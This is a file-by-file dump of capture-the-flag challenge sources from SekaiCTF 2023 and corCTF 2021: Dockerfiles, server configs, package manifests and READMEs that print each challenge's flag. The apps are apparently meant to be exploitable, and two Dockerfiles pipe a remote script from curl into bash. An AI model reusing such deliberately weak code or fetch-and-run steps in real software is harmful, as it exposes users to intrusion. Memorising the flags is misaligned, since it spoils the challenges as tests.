8 | COPY config/supervisord.conf /etc/supervisord.conf
9 | COPY config/nginx.conf /etc/nginx/nginx.conf
10 | COPY config/php.ini /etc/php81/php.ini
11 |
12 | COPY challenge /www
13 |
14 | RUN chown -R www:www /var/lib/nginx
15 |
16 | EXPOSE 80
17 |
18 | CMD /usr/bin/supervisord -c /etc/supervisord.conf
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/challenge/challenge/db.php:
--------------------------------------------------------------------------------
1 | exec("CREATE TABLE IF NOT EXISTS users (username TEXT, password TEXT);");
4 | $db->exec("CREATE TABLE IF NOT EXISTS posts (username TEXT, id TEXT, title TEXT, contents TEXT);");
5 |
6 | // check for admin user
7 | $stmt = $db->prepare("SELECT * FROM users WHERE username=?");
8 | $stmt->execute(["admin"]);
9 | $user = $stmt->fetch();
10 |
11 | if (!$user) {
12 | // initialize admin user
13 | $admin_password = getenv("ADMIN_PASSWORD") ?: "admin_password";
14 | $hash = password_hash($admin_password, PASSWORD_BCRYPT);
15 | $stmt = $db->prepare("INSERT INTO users (username, password) VALUES (?, ?)");
16 | $stmt->execute(["admin", $hash]);
17 | // initialize flag post
18 | $stmt = $db->prepare("INSERT INTO posts (username, id, title, contents) VALUES (?, ?, ?, ?)");
19 | $stmt->execute(["admin", bin2hex(random_bytes(8)), "flag", getenv("FLAG") ?: "SEKAI{test_flag}"]);
20 | }
21 | ?>
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/challenge/challenge/post.php:
--------------------------------------------------------------------------------
1 | prepare("SELECT * FROM posts WHERE id=?");
10 | $stmt->execute([$_GET["id"]]);
11 | $post = $stmt->fetch();
12 |
13 | if (!$post) {
14 | die("No post was found with that id");
15 | }
16 | ?>
17 |
18 |
19 |
20 |
21 |
22 | leaklessnote
23 |
24 |
25 |
26 |
leaklessnote
27 |
28 |
29 |
30 |
31 |
Back
32 |
33 |
34 |
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/challenge/config/fpm.conf:
--------------------------------------------------------------------------------
1 | [global]
2 | daemonize = no
3 | error_log = /dev/stderr
4 | log_level = notice
5 |
6 | [www]
7 | user = www
8 | group = www
9 |
10 | clear_env = Off
11 |
12 | listen = /run/php-fpm.sock
13 | listen.owner = www
14 | listen.group = www
15 |
16 | pm = dynamic
17 | pm.max_children = 5
18 | pm.start_servers = 2
19 | pm.min_spare_servers = 1
20 | pm.max_spare_servers = 3
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/challenge/config/nginx.conf:
--------------------------------------------------------------------------------
1 | user www;
2 | pid /run/nginx.pid;
3 | error_log /dev/stderr info;
4 |
5 | events {
6 | worker_connections 1024;
7 | }
8 |
9 | http {
10 | server_tokens off;
11 | charset utf-8;
12 | keepalive_timeout 20s;
13 | sendfile on;
14 | tcp_nopush on;
15 | client_max_body_size 1M;
16 |
17 | include /etc/nginx/mime.types;
18 |
19 | server {
20 | listen 80;
21 | server_name _;
22 |
23 | index index.php;
24 | root /www;
25 |
26 | location / {
27 | try_files $uri $uri/ /index.php?$query_string;
28 | add_header Content-Security-Policy "default-src 'self'; script-src 'none'; object-src 'none'; frame-ancestors 'none';";
29 | location ~ \.php$ {
30 | try_files $uri =404;
31 | fastcgi_pass unix:/run/php-fpm.sock;
32 | fastcgi_index index.php;
33 | fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
34 | include fastcgi_params;
35 | }
36 | }
37 | }
38 | }
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/challenge/config/php.ini:
--------------------------------------------------------------------------------
1 | extension=pdo_sqlite
2 | extension=sqlite3
3 | [sqlite3]
4 | ; https://php.net/sqlite3.extension-dir
5 | ;sqlite3.extension_dir =
6 | ; the sqlite_dbpage virtual table.
7 | ; https://www.sqlite.org/c3ref/c_dbconfig_defensive.html
8 | ;sqlite3.defensive = 1
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/challenge/config/supervisord.conf:
--------------------------------------------------------------------------------
1 | [supervisord]
2 | user=root
3 | nodaemon=true
4 | logfile=/dev/null
5 | logfile_maxbytes=0
6 | pidfile=/run/supervisord.pid
7 |
8 | [program:fpm]
9 | command=php-fpm81 -F
10 | autostart=true
11 | priority=1000
12 | stdout_logfile=/dev/stdout
13 | stdout_logfile_maxbytes=0
14 | stderr_logfile=/dev/stderr
15 | stderr_logfile_maxbytes=0
16 |
17 | [program:nginx]
18 | command=nginx -g 'daemon off;'
19 | autostart=true
20 | stdout_logfile=/dev/stdout
21 | stdout_logfile_maxbytes=0
22 | stderr_logfile=/dev/stderr
23 | stderr_logfile_maxbytes=0
--------------------------------------------------------------------------------
/SekaiCTF-2023/leaklessnote/dist/leaklessnote.tar.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/SekaiCTF-2023/leaklessnote/dist/leaklessnote.tar.gz
--------------------------------------------------------------------------------
/corCTF-2021/misc/flagbot/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Medium
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | Make sure you joined our Discord server! Why don't you check out my new robot friend FlagBot in #bot-spam, I think you'll like the song he's playing...
8 |
9 | NOTE: This is NOT an OSINT challenge. The bot is playing an unlisted YouTube video and the flag is in the description. This is not a guessing challenge.
10 | ```
11 |
12 | Flag: `corctf{v3ry_g00d_mu51c!!}`
13 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/flagbot/discord/.dockerignore:
--------------------------------------------------------------------------------
1 | Dockerfile
2 | node_modules
3 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/flagbot/discord/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM debian:buster-slim
2 |
3 | RUN apt-get update && apt-get upgrade -y
4 | RUN apt-get install curl -y
5 | RUN curl -fsSL https://deb.nodesource.com/setup_16.x | bash -
6 | RUN apt-get install -y nodejs ffmpeg -y
7 |
8 | WORKDIR /usr/src/app
9 | COPY package.json .
10 |
11 | RUN npm install
12 |
13 | COPY . .
14 |
15 | RUN chmod -R 644 /usr/src/app
16 |
17 | # save disk space :^)
18 | RUN dpkg --remove --force-depends python2.7-minimal python3-minimal python3.7-minimal
19 | RUN rm /usr/bin/perl
20 | RUN apt-get clean && apt-get autoclean && rm -rf /var/lib/apt/lists/*
21 |
22 | CMD ["node", "index.js"]
--------------------------------------------------------------------------------
/corCTF-2021/misc/flagbot/discord/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "discord",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "discord.js": "^12.5.1",
13 | "fluent-ffmpeg": "^2.1.2",
14 | "mathjs": "^9.4.2",
15 | "node-fetch": "^2.6.1",
16 | "opusscript": "0.0.8"
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/flagbot/web/.dockerignore:
--------------------------------------------------------------------------------
1 | Dockerfile
2 | node_modules
3 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/flagbot/web/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM debian:buster-slim
2 |
3 | RUN apt-get update && apt-get upgrade -y
4 | RUN apt-get install curl -y
5 | RUN curl -fsSL https://deb.nodesource.com/setup_16.x | bash -
6 | RUN apt-get install -y nodejs ffmpeg -y
7 |
8 | WORKDIR /usr/src/app
9 |
10 | COPY package.json .
11 |
12 | RUN npm install
13 |
14 | COPY . .
15 |
16 | RUN chmod -R 644 /usr/src/app
17 |
18 | # save disk space :^)
19 | RUN dpkg --remove --force-depends python2.7-minimal python3-minimal python3.7-minimal
20 | RUN rm /usr/bin/perl
21 | RUN apt-get clean && apt-get autoclean && rm -rf /var/lib/apt/lists/*
22 |
23 | CMD ["timeout", "5m", "node", "index.js"]
--------------------------------------------------------------------------------
/corCTF-2021/misc/flagbot/web/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "web",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "express": "^4.17.1",
13 | "ytdl-core": "^4.8.3"
14 | }
15 | }
16 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Medium
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | Hey, I made a chess website to play my favorite variant, smog of war! Why don't you check it out and play against my AI. He has some nasty surprises, but if you beat him I'll give you a flag.. good luck :)
8 | ```
9 |
10 | Flag: `corctf{"The opportunity of defeating the enemy is provided by the enemy himself." - Sun Tzu}`
11 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.9.6-slim-buster
2 |
3 | RUN apt-get update && apt-get install curl unzip -y && rm -rf /var/lib/apt/lists/*
4 |
5 | RUN mkdir -p /app
6 |
7 | WORKDIR /app
8 |
9 | COPY requirements.txt .
10 |
11 | RUN pip install -r requirements.txt
12 |
13 | COPY . .
14 |
15 | RUN curl https://stockfishchess.org/files/stockfish_14_linux_x64_avx2.zip --output stockfish_14_linux_x64_avx2.zip
16 |
17 | RUN unzip stockfish_14_linux_x64_avx2.zip
18 |
19 | CMD ["sh", "start.sh"]
20 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/app.py:
--------------------------------------------------------------------------------
1 | from flask import Flask, render_template, request
2 | from flask_socketio import SocketIO, emit
3 |
4 | import game
5 |
6 | app = Flask(__name__, static_url_path='', static_folder='static')
7 | app.config['SECRET_KEY'] = 'secret!'
8 | socketio = SocketIO(app)
9 |
10 | @app.route('/')
11 | def index_route():
12 | return app.send_static_file('index.html')
13 |
14 | @socketio.on('connect')
15 | def on_connect():
16 | game.start(request.sid, emit)
17 | emit('state', game.get(request.sid).get_player_state())
18 |
19 | @socketio.on('disconnect')
20 | def on_disconnect():
21 | game.destroy(request.sid)
22 |
23 | @socketio.on('move')
24 | def onmsg_move(move):
25 | game.get(request.sid).player_move(move)
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/requirements.txt:
--------------------------------------------------------------------------------
1 | bidict==0.21.2
2 | chess==1.6.1
3 | click==8.0.1
4 | dnspython==1.16.0
5 | eventlet==0.30.2
6 | Flask==2.0.1
7 | Flask-SocketIO==5.1.1
8 | greenlet==1.1.1
9 | gunicorn==20.1.0
10 | itsdangerous==2.0.1
11 | Jinja2==3.0.1
12 | MarkupSafe==2.0.1
13 | python-engineio==4.2.1
14 | python-socketio==5.4.0
15 | six==1.16.0
16 | Werkzeug==2.0.1
17 | stockfish==3.17.0
18 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/start.sh:
--------------------------------------------------------------------------------
1 | gunicorn --worker-class eventlet -w 1 --bind 0.0.0.0:80 app:app
2 |
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/css/chessboard-1.0.0.min.css:
--------------------------------------------------------------------------------
1 | /*! chessboard.js v1.0.0 | (c) 2019 Chris Oakman | MIT License chessboardjs.com/license */
2 | .clearfix-7da63{clear:both}.board-b72b1{border:2px solid #404040;box-sizing:content-box}.square-55d63{float:left;position:relative;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.white-1e1d7{background-color:#f0d9b5;color:#b58863}.black-3c85d{background-color:#b58863;color:#f0d9b5}.highlight1-32417,.highlight2-9c5d2{box-shadow:inset 0 0 3px 3px #ff0}.notation-322f9{cursor:default;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;position:absolute}.alpha-d2270{bottom:1px;right:3px}.numeric-fc462{top:2px;left:2px}
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/css/styles.css:
--------------------------------------------------------------------------------
1 | body {
2 | background-color: #161925;
3 | height: 100vh;
4 | }
5 |
6 | h1, h2, h3, h4, h5, h6 {
7 | color: #f1f2f6;
8 | }
9 |
10 | .card-title, .card-text {
11 | color: #161925;
12 | }
13 |
14 | .chessboard-parent {
15 | width: 75vh;
16 | }
17 |
18 | #chessboard {
19 | height: 100%;
20 | width: 100%;
21 | }
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bB.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bK.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bN.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bP.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bQ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bQ.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/bR.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wB.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wB.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wK.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wK.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wN.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wN.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wP.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wP.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wQ.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wQ.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wR.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/img/chesspieces/wikipedia/wR.png
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/chall/static/mp3/move.mp3:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/misc/smogofwar/chall/static/mp3/move.mp3
--------------------------------------------------------------------------------
/corCTF-2021/misc/smogofwar/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: "3.9"
2 | services:
3 | chall:
4 | build:
5 | context: ./chall
6 | dockerfile: Dockerfile
7 | ports:
8 | - '4000:80'
9 | environment:
10 | - FLAG=corctf{"The opportunity of defeating the enemy is provided by the enemy himself." - Sun Tzu}
11 | - STOCKFISHTIME=1.5
12 |
--------------------------------------------------------------------------------
/corCTF-2021/rev/babyrev/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Baby
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | well uh...
8 | this is what you get when you make your web guy make a rev chall
9 | ```
10 |
11 | Flag: `corctf{see?_rEv_aint_so_bad}`
12 |
--------------------------------------------------------------------------------
/corCTF-2021/rev/babyrev/babyrev:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/strellic/my-ctf-challenges/8a8e36fd400c3900837c2faafba456c17ce1f28c/corCTF-2021/rev/babyrev/babyrev
--------------------------------------------------------------------------------
/corCTF-2021/web/blogme/README.md:
--------------------------------------------------------------------------------
1 | Difficulty: Hard
2 |
3 | Author: Strellic
4 |
5 | Description:
6 | ```
7 | Hey, check out this new blogging platform I made! If you're lucky, I might even post a flag...
8 |
9 | NOTE: The admin bot will only follow URLs matching the following regex:
10 |
11 | `^https:\/\/blogme\.be\.ax\/post\/([0-9a-f-]+)$`
12 | ```
13 |
14 | Flag: `corctf{ult1mate_x55_g0d!!!}`
15 |
--------------------------------------------------------------------------------
/corCTF-2021/web/blogme/chall/.dockerignore:
--------------------------------------------------------------------------------
1 | .dockerignore
2 | Dockerfile
--------------------------------------------------------------------------------
/corCTF-2021/web/blogme/chall/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM node:14-alpine
2 |
3 | RUN mkdir -p /app
4 |
5 | WORKDIR /app
6 |
7 | COPY package.json .
8 |
9 | RUN npm install
10 |
11 | COPY . .
12 |
13 | RUN chown node:node /app/
14 |
15 | RUN chown node:node /app/uploads
16 |
17 | USER node
18 |
19 | CMD ["node", "index.js"]
--------------------------------------------------------------------------------
/corCTF-2021/web/blogme/chall/package.json:
--------------------------------------------------------------------------------
1 | {
2 | "name": "chall",
3 | "version": "1.0.0",
4 | "description": "",
5 | "main": "index.js",
6 | "scripts": {
7 | "test": "echo \"Error: no test specified\" && exit 1"
8 | },
9 | "author": "",
10 | "license": "ISC",
11 | "dependencies": {
12 | "bcrypt": "^5.0.1",
13 | "busboy": "^0.3.1",
14 | "csurf": "^1.11.0",
15 | "dotenv": "^10.0.0",
16 | "ejs": "^3.1.6",
17 | "express": "^4.17.1",
18 | "express-session": "^1.17.2",
19 | "express-session-sequelize": "^2.3.0",
20 | "node-fetch": "^2.6.1",
21 | "sequelize": "^6.6.5",
22 | "sqlite3": "^5.0.2"
23 | }
24 | }
25 |
--------------------------------------------------------------------------------
/corCTF-2021/web/blogme/chall/partials/footer.ejs:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |